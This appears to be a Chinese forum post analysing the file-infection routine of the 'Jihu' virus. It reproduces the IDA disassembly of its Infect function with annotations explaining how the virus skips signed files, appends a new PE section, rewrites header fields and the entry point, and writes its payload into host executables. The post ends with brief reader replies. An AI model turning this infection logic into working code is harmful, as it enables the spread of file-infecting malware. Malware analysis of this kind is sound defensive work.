极虎感染代码的详细分析
【文章标题】: 极虎感染型病毒感染代码的详细分析【文章作者】: fzyr520
【使用工具】: OD,IDA,PEID
【操作平台】: XP-SP2
【作者声明】: 其他部分有人分析过了，感染部分我补上，如有不对请指正。
解压密码：123
感染带我我标注的函数是Infect
EXPLORER.EXE（感染源）放出appmgmts.dll，感染功能在appmgmts.dll中
1.先判断时候有签名，如果是系统签名文件就不感染；
.text:00406B36 ; int __stdcall Infect(LPCSTR lpMultiByteStr)
.text:00406B36 Infect proc near ; CODE XREF: sub_405F38+FCp
.text:00406B36
.text:00406B36 var_13C = dword ptr -13Ch
.text:00406B36 var_138 = dword ptr -138h
.text:00406B36 var_134 = byte ptr -134h
.text:00406B36 var_E8 = dword ptr -0E8h
.text:00406B36 Infect_Section_FileOffset= dword ptr -0E4h
.text:00406B36 var_E0 = dword ptr -0E0h
.text:00406B36 var_DC = byte ptr -0DCh
.text:00406B36 PE = dword ptr -90h
.text:00406B36 EntryPoint_source= dword ptr -8Ch
.text:00406B36 CreationTime = byte ptr -88h
.text:00406B36 var_70 = dword ptr -70h
.text:00406B36 Buffer = dword ptr -6Ch
.text:00406B36 hFile = dword ptr -68h
.text:00406B36 Dst = dword ptr -64h
.text:00406B36 var_60 = dword ptr -60h
.text:00406B36 SizeOf_InfectSource= dword ptr -5Ch
.text:00406B36 InfectSection_VirtualAddress= dword ptr -58h
.text:00406B36 SizeOf_InfectSource_FileOffSet= dword ptr -54h
.text:00406B36 var_50 = dword ptr -50h
.text:00406B36 var_42 = word ptr -42h
.text:00406B36 var_40 = dword ptr -40h
.text:00406B36 var_3C = dword ptr -3Ch
.text:00406B36 current_section = dword ptr -38h
.text:00406B36 NumberOfBytesWritten= dword ptr -34h
.text:00406B36 hObject = dword ptr -30h
.text:00406B36 var_2C = dword ptr -2Ch
.text:00406B36 lpBaseAddress = dword ptr -28h
.text:00406B36 var_24 = dword ptr -24h
.text:00406B36 var_20 = dword ptr -20h
.text:00406B36 raw_size = dword ptr -1Ch
.text:00406B36 var_18 = dword ptr -18h
.text:00406B36 var_10 = dword ptr -10h
.text:00406B36 var_4 = dword ptr -4
.text:00406B36 lpMultiByteStr= dword ptr8
.text:00406B36 arg_20 = dword ptr28h
.text:00406B36 arg_34 = dword ptr3Ch
.text:00406B36
.text:00406B36 push ebp
.text:00406B37 mov ebp, esp
.text:00406B39 push 0FFFFFFFFh
.text:00406B3B push offset unk_409F00
.text:00406B40 push offset loc_4089A0
.text:00406B45 mov eax, large fs:0
.text:00406B4B push eax
.text:00406B4C mov large fs:0, esp
.text:00406B53 push ecx
.text:00406B54 push ecx
.text:00406B55 sub esp, 124h
.text:00406B5B push ebx
.text:00406B5C push esi
.text:00406B5D push edi
.text:00406B5E mov , esp
.text:00406B61 and , 0
.text:00406B65 and , 0
.text:00406B69 and , 0
.text:00406B6D and , 0
.text:00406B71 and , 0
.text:00406B75 and , 0
.text:00406B79 and , 0
.text:00406B7D and , 0
.text:00406B81 and , 0
.text:00406B88 and , 0
.text:00406B8C or , 0FFFFFFFFh
.text:00406B90 and , 0
.text:00406B94 and , 0
.text:00406B9B and , 0
.text:00406B9F and , 0
.text:00406BA3 push ; lpMultiByteStr
.text:00406BA6 call JudgmentWinVerifyTrust
.text:00406BAB cmp eax, 1 ;
.text:00406BAB ; 签名判断,不感染系统签名文件
.text:00406BAB ;
.text:00406BAE jnz short loc_406BB5
.text:00406BB0 jmp loc_4071A4
2.文件映射
.text:00406BDE ; ---------------------------------------------------------------------------
.text:00406BDE
.text:00406BDE loc_406BDE: ; CODE XREF: Infect+A1j
.text:00406BDE push 0 ; int
.text:00406BE0 lea eax,
.text:00406BE6 push eax ; lpCreationTime
.text:00406BE7 push ; hFile
.text:00406BEA call __GetFileTime
.text:00406BEF push FILE_END ; dwMoveMethod
.text:00406BF1 push 0 ; lpDistanceToMoveHigh
.text:00406BF3 push 0 ; lDistanceToMove
.text:00406BF5 push ; hFile
.text:00406BF8 call ds:SetFilePointer
.text:00406BFE mov , eax
.text:00406C01 push 0 ; lpName
.text:00406C03 push 0 ; dwMaximumSizeLow
.text:00406C05 push 0 ; dwMaximumSizeHigh
.text:00406C07 push PAGE_READWRITE; flProtect
.text:00406C09 push 0 ; lpFileMappingAttributes
.text:00406C0B push ; hFile
.text:00406C0E call ds:CreateFileMappingA
.text:00406C14 mov , eax
.text:00406C17 cmp , 0 ;
.text:00406C17 ; 比较创建文件映射是否成功
.text:00406C17 ;
.text:00406C1B jnz short loc_406C22
.text:00406C1D jmp loc_4071A4
.text:00406C22 ; ---------------------------------------------------------------------------
.text:00406C22
.text:00406C22 loc_406C22: ; CODE XREF: Infect+E5j
.text:00406C22 push 400h ; dwNumberOfBytesToMap
.text:00406C27 push 0 ; dwFileOffsetLow
.text:00406C29 push 0 ; dwFileOffsetHigh
.text:00406C2B push FILE_MAP_ALL_ACCESS ; dwDesiredAccess
.text:00406C30 push ; hFileMappingObject
.text:00406C33 call ds:MapViewOfFile
.text:00406C39 mov , eax
.text:00406C3C cmp , 0
.text:00406C40 jz short loc_406C4F
.text:00406C42 mov eax,
.text:00406C45 movzx eax, word ptr
.text:00406C48 cmp eax, 5A4Dh ;
.text:00406C48 ; 比较是否为MZ
.text:00406C48 ;
.text:00406C4D jz short loc_406C54
.text:00406C4F
.text:00406C4F loc_406C4F: ; CODE XREF: Infect+10Aj
.text:00406C4F jmp loc_4071A4
.text:00406C54 ; ---------------------------------------------------------------------------
.text:00406C54
.text:00406C54 loc_406C54: ; CODE XREF: Infect+117j
.text:00406C54 mov eax,
.text:00406C57 mov ecx,
.text:00406C5A add ecx,
.text:00406C5D mov , ecx
.text:00406C63 mov eax,
.text:00406C66 add eax,
.text:00406C69 cmp , eax
.text:00406C6F jnb short loc_406C8C
.text:00406C71 mov eax,
.text:00406C77 cmp eax,
.text:00406C7A jbe short loc_406C8C
.text:00406C7C mov eax,
.text:00406C82 movzx eax, word ptr
.text:00406C85 cmp eax, 4550h ;
.text:00406C85 ; 比较是否是PE
.text:00406C8A jz short loc_406C91
.text:00406C8C
.text:00406C8C loc_406C8C: ; CODE XREF: Infect+139j
.text:00406C8C ; Infect+144j
.text:00406C8C jmp loc_4071A4
.text:00406C91 ; ---------------------------------------------------------------------------
.text:00406C91
.text:00406C91 loc_406C91: ; CODE XREF: Infect+154j
.text:00406C91 mov eax,
.text:00406C97 movzx eax, word ptr ; 节数目
.text:00406C9B dec eax
.text:00406C9C imul eax, 28h
.text:00406C9F mov ecx, ;
.text:00406C9F ; ebp-90 导出表
.text:00406C9F ;
.text:00406CA5 lea eax,
.text:00406CAC mov , eax ;
.text:00406CAC ; 最后一个节的节名放入ebp+var_20
.text:00406CAC ;
.text:00406CAF mov eax,
.text:00406CB2 movzx eax, word ptr ; NumberOfLinenumbers
.text:00406CB6 movzx ecx, word_40BE64 ; 和 D9比
.text:00406CB6 ;
.text:00406CBD cmp eax, ecx
.text:00406CBF jl short loc_406CC6
.text:00406CC1 jmp loc_4071A4
.text:00406CC6 ; ---------------------------------------------------------------------------
.text:00406CC6
.text:00406CC6 loc_406CC6: ; CODE XREF: Infect+189j
.text:00406CC6 mov eax,
.text:00406CC9 movzx eax, word ptr
.text:00406CCD test eax, eax
.text:00406CCF jz loc_406D5C ;
.text:00406CCF ; 此处跳走
.text:00406CCF ;
3.具体感染过程
.text:00406D5C ; Infect+1AFj
.text:00406D5C mov eax,
.text:00406D62 movzx eax, word ptr
.text:00406D66 imul eax, 28h
.text:00406D69 add eax, 0F8h ; 到节表的最后一个节后面,后面紧接着判断是否为0，
.text:00406D69 ; 28H大小
.text:00406D6E mov , eax
.text:00406D71 mov eax,
.text:00406D77 add eax,
.text:00406D7A mov , eax ; ebp+var_70 最后一个节结束的内存内存地址
.text:00406D7D cmp , 0 ;
.text:00406D7D ; ebp+var_2C = 00000000 判断最后一个接后面的起始位置是否
.text:00406D7D ; 是0
.text:00406D7D ;
.text:00406D81 jnz short loc_406DB7
.text:00406D83 and , 0
.text:00406D87 jmp short loc_406D90 ;
.text:00406D87 ; 循环加4,直到大小为4*A 大小，就是一个节的大小28
.text:00406D87 ;
.text:00406D89 ; ---------------------------------------------------------------------------
.text:00406D89
.text:00406D89 loc_406D89: ; CODE XREF: Infect+274j
.text:00406D89 mov eax,
.text:00406D8C inc eax
.text:00406D8D mov , eax
.text:00406D90
.text:00406D90 loc_406D90: ; CODE XREF: Infect+251j
.text:00406D90 cmp , 0Ah ;
.text:00406D90 ; 循环加4,直到大小为4*A 大小，就是一个节的大小28
.text:00406D90 ;
.text:00406D94 jge short loc_406DAC
.text:00406D96 mov eax,
.text:00406D99 mov ecx,
.text:00406D9C add ecx,
.text:00406D9E mov , ecx
.text:00406DA1 mov eax,
.text:00406DA4 add eax, 4
.text:00406DA7 mov , eax
.text:00406DAA jmp short loc_406D89
.text:00406DAC ; ---------------------------------------------------------------------------
.text:00406DAC
.text:00406DAC loc_406DAC: ; CODE XREF: Infect+25Ej
.text:00406DAC cmp , 0
.text:00406DB0 jz short loc_406DB7
.text:00406DB2 jmp loc_4071A4
.text:00406DB7 ; ---------------------------------------------------------------------------
.text:00406DB7
.text:00406DB7 loc_406DB7: ; CODE XREF: Infect+24Bj
.text:00406DB7 ; Infect+27Aj
.text:00406DB7 mov eax,
.text:00406DBD mov eax,
.text:00406DC0 mov , eax ;
.text:00406DC0 ; 存放原始入口点
.text:00406DC0 ;
.text:00406DC6 mov eax,
.text:00406DCC movzx eax, word ptr
.text:00406DD0 dec eax
.text:00406DD1 imul eax, 28h
.text:00406DD4 mov ecx,
.text:00406DDA lea eax,
.text:00406DE1 mov , eax
.text:00406DE4 push 28h ; Size
.text:00406DE6 push 0 ; Val
.text:00406DE8 lea eax,
.text:00406DEB push eax ; Dst
.text:00406DEC call memset
.text:00406DF1 add esp, 0Ch
.text:00406DF4 mov , 'ct.' ; 节名
.text:00406DFB mov eax,
.text:00406E01 mov , eax
.text:00406E04 mov eax,
.text:00406E0A push ; 节对齐大小
.text:00406E0D mov eax, nNumberOfBytesToWrite ; 0003d600
.text:00406E12 add eax, 1FBh
.text:00406E17 push eax
.text:00406E18 call CalculateSection ;
.text:00406E18 ; 按节对齐的方式计算添加的感染节.tc 的virtual size
.text:00406E18 ;fun(infect_source_size+infect_section_size,SectionAlignment)
.text:00406E18 ;
.text:00406E1D mov , eax ; 3e000
.text:00406E20 mov eax,
.text:00406E26 push
.text:00406E29 mov eax,
.text:00406E2C push
.text:00406E2F call CalculateSection ;
.text:00406E2F ; 按节对齐的方式计算正常文件最后一个节的virtual_size
.text:00406E2F ;
.text:00406E34 mov ecx, ;
.text:00406E34 ;
.text:00406E37 add eax, ;
.text:00406E37 ;计算得到感染节的VirtualAddress
.text:00406E37 ;
.text:00406E3A mov , eax
.text:00406E3D mov eax,
.text:00406E43 push ; 文件对齐大小
.text:00406E46 mov eax, nNumberOfBytesToWrite ; 0003d600
.text:00406E4B add eax, 1FBh
.text:00406E50 push eax
.text:00406E51 call CalculateSection ;
.text:00406E51 ; 按文件对齐的方式计算添加的感染节.tc 的
.text:00406E51 ; raw size大小
.text:00406E51 ;fun(infect_source_size+infect_section_size,FileAlignment)
.text:00406E56 mov , eax
.text:00406E59 and , 0
.text:00406E60 push 4Ch ; Size
.text:00406E62 push 0 ; Val
.text:00406E64 lea eax,
.text:00406E6A push eax ; Dst
.text:00406E6B call memset
.text:00406E70 add esp, 0Ch
.text:00406E73 and , 0
.text:00406E7A push 4Ch ; Size
.text:00406E7C push 0 ; Val
.text:00406E7E lea eax,
.text:00406E84 push eax ; Dst
.text:00406E85 call memset
.text:00406E8A add esp, 0Ch
.text:00406E8D and , 0
.text:00406E91 mov , 1
.text:00406E98 jmp short loc_406EA1
.text:00406E9A ; ---------------------------------------------------------------------------
.text:00406E9A
.text:00406E9A loc_406E9A: ; CODE XREF: Infect:loc_406F0Cj
.text:00406E9A mov eax,
.text:00406E9D inc eax ;
.text:00406E9D ; 节数加1
.text:00406E9D ;
.text:00406E9E mov , eax
.text:00406EA1
.text:00406EA1 loc_406EA1: ; CODE XREF: Infect+362j
.text:00406EA1 mov eax,
.text:00406EA7 movzx eax,
.text:00406EAB cmp , eax ;
.text:00406EAB ; 比较节 从第一个节开始
.text:00406EAB ;
.text:00406EAE jg short loc_406F0E
.text:00406EB0 mov eax,
.text:00406EB6 movzx eax,
.text:00406EBA sub eax,
.text:00406EBD imul eax, 28h
.text:00406EC0 mov ecx,
.text:00406EC6 lea eax,
.text:00406ECD mov , eax
.text:00406ED0 mov eax,
.text:00406ED3 cmp , 0 ; 比较节大小是否为0
.text:00406ED7 jz short loc_406F0C
.text:00406ED9 mov eax,
.text:00406EDC mov eax, ; 节文件偏移
.text:00406EDF mov ecx,
.text:00406EE2 add eax, ;
.text:00406EE2 ; 节偏移+节大小 = 计算添加感染节的raw offset
.text:00406EE2 ; 由于在循环体中，这里计算是每个节的节偏移加节大小
.text:00406EE5 mov , eax
.text:00406EE8 mov eax, ; 上面计算了 节偏移+节大小
.text:00406EE8 ; 这里 ebp+var_24 是下一个节的raw offset
.text:00406EE8 ;
.text:00406EEB sub eax, ; 计算 current_section raw size
.text:00406EEE mov ecx, ; ebp+var_2C 从0开始
.text:00406EF1 mov , eax ; 把算出来的值存入var_138
.text:00406EF8 mov eax,
.text:00406EFB mov ecx,
.text:00406EFE mov , ecx
.text:00406F05 mov eax,
.text:00406F08 inc eax ;
.text:00406F08 ; 从第一个节开始循环加一
.text:00406F08 ;
.text:00406F09 mov , eax
.text:00406F0C
.text:00406F0C loc_406F0C: ; CODE XREF: Infect+3A1j
.text:00406F0C jmp short loc_406E9A
.text:00406F0E ; ---------------------------------------------------------------------------
.text:00406F0E
.text:00406F0E loc_406F0E: ; CODE XREF: Infect+378j
.text:00406F0E and , 0
.text:00406F15 mov eax,
.text:00406F1B mov , eax
.text:00406F1E and , 0
.text:00406F22 jmp short loc_406F2B
.text:00406F24 ; ---------------------------------------------------------------------------
.text:00406F24
.text:00406F24 loc_406F24: ; CODE XREF: Infect:loc_406F4Fj
.text:00406F24 mov eax,
.text:00406F27 inc eax ; 节循环加1
.text:00406F28 mov , eax
.text:00406F2B
.text:00406F2B loc_406F2B: ; CODE XREF: Infect+3ECj
.text:00406F2B mov eax,
.text:00406F2E cmp eax,
.text:00406F31 jge short loc_406F51
.text:00406F33 mov eax,
.text:00406F36 mov ecx,
.text:00406F39 cmp ecx, ; 比较每个节的raw_size是否为0
.text:00406F40 jbe short loc_406F4F
.text:00406F42 mov eax,
.text:00406F45 mov eax,
.text:00406F4C mov , eax
.text:00406F4F
.text:00406F4F loc_406F4F: ; CODE XREF: Infect+40Aj
.text:00406F4F jmp short loc_406F24
.text:00406F51 ; ---------------------------------------------------------------------------
.text:00406F51
.text:00406F51 loc_406F51: ; CODE XREF: Infect+3FBj
.text:00406F51 and , 0
.text:00406F55 jmp short loc_406F5E
.text:00406F57 ; ---------------------------------------------------------------------------
.text:00406F57
.text:00406F57 loc_406F57: ; CODE XREF: Infect:loc_406F87j
.text:00406F57 mov eax,
.text:00406F5A inc eax
.text:00406F5B mov , eax
.text:00406F5E
.text:00406F5E loc_406F5E: ; CODE XREF: Infect+41Fj
.text:00406F5E mov eax,
.text:00406F61 cmp eax,
.text:00406F64 jge short loc_406F89
.text:00406F66 mov eax,
.text:00406F69 mov ecx,
.text:00406F6C cmp ecx,
.text:00406F73 jnz short loc_406F87
.text:00406F75 mov eax,
.text:00406F78 mov eax,
.text:00406F7F mov , eax
.text:00406F85 jmp short loc_406F89
.text:00406F87 ; ---------------------------------------------------------------------------
.text:00406F87
.text:00406F87 loc_406F87: ; CODE XREF: Infect+43Dj
.text:00406F87 jmp short loc_406F57
.text:00406F89 ; ---------------------------------------------------------------------------
.text:00406F89
.text:00406F89 loc_406F89: ; CODE XREF: Infect+42Ej
.text:00406F89 ; Infect+44Fj
.text:00406F89 cmp , 0
.text:00406F90 jnz short loc_406F9C
.text:00406F92 mov , 1
.text:00406F9C
.text:00406F9C loc_406F9C: ; CODE XREF: Infect+45Aj
.text:00406F9C mov eax,
.text:00406FA2 movzx eax,
.text:00406FA6 sub eax,
.text:00406FAC imul eax, 28h
.text:00406FAF mov ecx,
.text:00406FB5 lea eax,
.text:00406FBC mov , eax
.text:00406FBF mov eax,
.text:00406FC5 push
.text:00406FC8 mov eax,
.text:00406FCB push
.text:00406FCE call CalculateSection ; 按文件对齐的方式计算正常文件最后一个节的大小
.text:00406FD3 mov , eax
.text:00406FD6 mov eax,
.text:00406FD9 mov ecx,
.text:00406FDC add ecx, ; 计算感染节的raw_offset
.text:00406FDF mov , ecx
.text:00406FE5 mov eax,
.text:00406FE8 sub eax,
.text:00406FEE mov , eax
.text:00406FF4 cmp , 0 ;
.text:00406FF4 ; 比较节大小是否为0
.text:00406FF4 ;
.text:00406FF8 jz short loc_40700A
.text:00406FFA xor eax, eax
.text:00406FFC sub eax,
.text:00407002 mov , eax
.text:00407008 jmp short loc_407019
.text:0040700A ; ---------------------------------------------------------------------------
.text:0040700A
.text:0040700A loc_40700A: ; CODE XREF: Infect+4C2j
.text:0040700A mov eax,
.text:00407010 sub eax,
.text:00407013 mov , eax
.text:00407019
.text:00407019 loc_407019: ; CODE XREF: Infect+4D2j
.text:00407019 mov eax,
.text:0040701F mov , eax
.text:00407022 mov , 0E0000020h
.text:00407029 mov ax, word_40BE64 ; word_40BE64 = d9
.text:0040702F mov , ax
.text:00407033 push 28h ; Size
.text:00407035 lea eax,
.text:00407038 push eax ; Src
.text:00407039 mov eax,
.text:0040703F add eax,
.text:00407042 push eax ; Dst
.text:00407043 call memcpy
.text:00407048 add esp, 0Ch
.text:0040704B mov eax,
.text:00407051 movzx eax,
.text:00407055 inc eax ;
.text:00407055 ; 节数加1
.text:00407055 ;
.text:00407056 mov ecx,
.text:0040705C mov , ax ;
.text:0040705C ; 修改PE节的数目为感染后节数目
.text:0040705C ;
.text:00407060 mov eax,
.text:00407066 cmp , 0 ; 比较sizeofcode是否为0
.text:0040706A jz short loc_407081
.text:0040706C mov eax,
.text:00407072 mov eax,
.text:00407075 add eax, ; 计算感染后的SizeOfCode
.text:00407078 mov ecx,
.text:0040707E mov , eax ; 用感染后的sizeofcode替换掉原始值
.text:0040707E ;
.text:00407081
.text:00407081 loc_407081: ; CODE XREF: Infect+534j
.text:00407081 mov eax,
.text:00407087 mov ecx, ; InfectSection_VirtualAddress其实就是感染后的入口点
.text:0040708A mov , ecx
.text:0040708D mov eax,
.text:00407093 mov eax,
.text:00407096 add eax, ; 计算得到感染后的SizeOfImage
.text:00407099 mov ecx,
.text:0040709F mov , eax ; 用感染后的sizeofimage替换掉原始值
.text:004070A2 push ; lpBaseAddress
.text:004070A5 call ds:UnmapViewOfFile
.text:004070AB push ; hObject
.text:004070AE call ds:CloseHandle
.text:004070B4 and , 0
.text:004070B8 and , 0
.text:004070BC push FILE_END ; dwMoveMethod
.text:004070BE push 0 ; lpDistanceToMoveHigh
.text:004070C0 mov eax,
.text:004070C6 add eax,
.text:004070C9 push eax ; lDistanceToMove
.text:004070CA push ; hFile
.text:004070CD call ds:SetFilePointer
.text:004070D3 push ; hFile
.text:004070D6 call ds:SetEndOfFile ;
.text:004070D6 ; 把文件指针移到文件尾增加节的长度3E000
.text:004070D6 ;
.text:004070DC push FILE_END ; dwMoveMethod
.text:004070DE push 0 ; lpDistanceToMoveHigh
.text:004070E0 xor eax, eax
.text:004070E2 sub eax,
.text:004070E5 push eax ; lDistanceToMove
.text:004070E6 push ; hFile
.text:004070E9 call ds:SetFilePointer ;
.text:004070E9 ; 把指针移到原始文件尾
.text:004070E9 ;
.text:004070EF push 0 ; lpOverlapped
.text:004070F1 lea eax,
.text:004070F4 push eax ; lpNumberOfBytesWritten
.text:004070F5 push 1FBh ; nNumberOfBytesToWrite
.text:004070FA push offset loc_409B78 ;
.text:004070FA ; loc_409B78 为感染节的代码 大小为1FB
.text:004070FA ;
.text:004070FF push ; hFile
.text:00407102 call ds:WriteFile ;
.text:00407102 ; 向增加的节写入感染代码
.text:00407102 ;
.text:00407108 push 0 ; lpOverlapped
.text:0040710A lea eax,
.text:0040710D push eax ; lpNumberOfBytesWritten
.text:0040710E push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
.text:00407114 push lpBuffer ; lpBuffer
.text:0040711A push ; hFile
.text:0040711D call ds:WriteFile ;
.text:0040711D ; 从1FB处写整个感染源
.text:0040711D ;
.text:00407123 push FILE_CURRENT ; dwMoveMethod
.text:00407125 push 0 ; lpDistanceToMoveHigh
.text:00407127 xor eax, eax
.text:00407129 sub eax, nNumberOfBytesToWrite
.text:0040712F push eax ; lDistanceToMove
.text:00407130 push ; hFile
.text:00407133 call ds:SetFilePointer ;
.text:00407133 ; 移到感染代码1FB处
.text:00407133 ;
.text:00407139 push 0 ; lpOverlapped
.text:0040713B lea eax,
.text:0040713E push eax ; lpNumberOfBytesWritten
.text:0040713F push 4 ; nNumberOfBytesToWrite
.text:00407141 push offset nNumberOfBytesToWrite ; lpBuffer
.text:00407146 push ; hFile
.text:00407149 call ds:WriteFile ;
.text:00407149 ; 写入感染源大小3e600,这里会导致前面刚写入的感染源
.text:00407149 ; （exe文件）的头4个byte被这个大小覆盖掉
.text:00407149 ;
.text:0040714F mov eax,
.text:00407152 add eax, 193h
.text:00407157 mov ecx,
.text:0040715D sub ecx, eax ;
.text:0040715D ; 计算跳回正常程序的入口点地址，感染代码这个值没有，
.text:0040715D ; 是在这里计算后写入的
.text:0040715D ;
.text:0040715D ;
.text:0040715F mov , ecx
.text:00407162 push FILE_CURRENT ; dwMoveMethod
.text:00407164 push 0 ; lpDistanceToMoveHigh
.text:00407166 push 0FFFFFF90h ; lDistanceToMove
.text:00407168 push ; hFile
.text:0040716B call ds:SetFilePointer
.text:00407171 push 0 ; lpOverlapped
.text:00407173 lea eax,
.text:00407176 push eax ; lpNumberOfBytesWritten
.text:00407177 push 4 ; nNumberOfBytesToWrite
.text:00407179 lea eax,
.text:0040717C push eax ; lpBuffer
.text:0040717D push ; hFile
.text:00407180 call ds:WriteFile ;
.text:00407180 ; 写入原始程序入口点地址，也就是jmp跳回正常程序
.text:00407180 ;
.text:00407186 push 1 ; int
.text:00407188 lea eax,
.text:0040718E push eax ; lpCreationTime
.text:0040718F push ; hFile
.text:00407192 call __GetFileTime
.text:00407197 push ; hObject
.text:0040719A call ds:CloseHandle
.text:004071A0 or , 0FFFFFFFFh
.text:004071A4
.text:004071A4 loc_4071A4: ; CODE XREF: Infect+7Aj
.text:004071A4 ; Infect+A3j ...
.text:004071A4 cmp , 0
.text:004071A8 jz short loc_4071B3
.text:004071AA push ; lpBaseAddress
.text:004071AD call ds:UnmapViewOfFile
.text:004071B3
.text:004071B3 loc_4071B3: ; CODE XREF: Infect+672j
.text:004071B3 cmp , 0
.text:004071B7 jz short loc_4071C2
.text:004071B9 push ; hObject
.text:004071BC call ds:CloseHandle
.text:004071C2
.text:004071C2 loc_4071C2: ; CODE XREF: Infect+681j
.text:004071C2 cmp , 0FFFFFFFFh
.text:004071C6 jz short loc_4071D1
.text:004071C8 push ; hObject
.text:004071CB call ds:CloseHandle
.text:004071D1
.text:004071D1 loc_4071D1: ; CODE XREF: Infect+690j
.text:004071D1 or , 0FFFFFFFFh
.text:004071D5 jmp short loc_40720F
.text:004071D7 ; ---------------------------------------------------------------------------
.text:004071D7
.text:004071D7 loc_4071D7: ; DATA XREF: .rdata:00409F04o
.text:004071D7 xor eax, eax
.text:004071D9 inc eax
.text:004071DA retn
.text:004071DB ; ---------------------------------------------------------------------------
.text:004071DB
.text:004071DB loc_4071DB: ; DATA XREF: .rdata:00409F08o
.text:004071DB mov esp,
.text:004071DE cmp , 0
.text:004071E2 jz short loc_4071ED
.text:004071E4 push ; lpBaseAddress
.text:004071E7 call ds:UnmapViewOfFile
.text:004071ED
.text:004071ED loc_4071ED: ; CODE XREF: Infect+6ACj
.text:004071ED cmp , 0
.text:004071F1 jz short loc_4071FC
.text:004071F3 push ; hObject
.text:004071F6 call ds:CloseHandle
.text:004071FC
.text:004071FC loc_4071FC: ; CODE XREF: Infect+6BBj
.text:004071FC cmp , 0FFFFFFFFh
.text:00407200 jz short loc_40720B
.text:00407202 push ; hObject
.text:00407205 call ds:CloseHandle
.text:0040720B
.text:0040720B loc_40720B: ; CODE XREF: Infect+6CAj
.text:0040720B or , 0FFFFFFFFh
.text:0040720F
.text:0040720F loc_40720F: ; CODE XREF: Infect+69Fj
.text:0040720F mov ecx,
.text:00407212 mov large fs:0, ecx
.text:00407219 pop edi
.text:0040721A pop esi
.text:0040721B pop ebx
.text:0040721C leave
.text:0040721D retn 4
.text:0040721D Infect endp
抢沙发...... 看看 学习来了 dddddddddddddddddddddddddddddddddddddddddddd 刚看到文章,加精鼓励,IDA的注视流程很清楚啊. 学习下 研究下！！！ 怎么比铁军给我的少了点。 分析得非常 好 确实很不错学习啦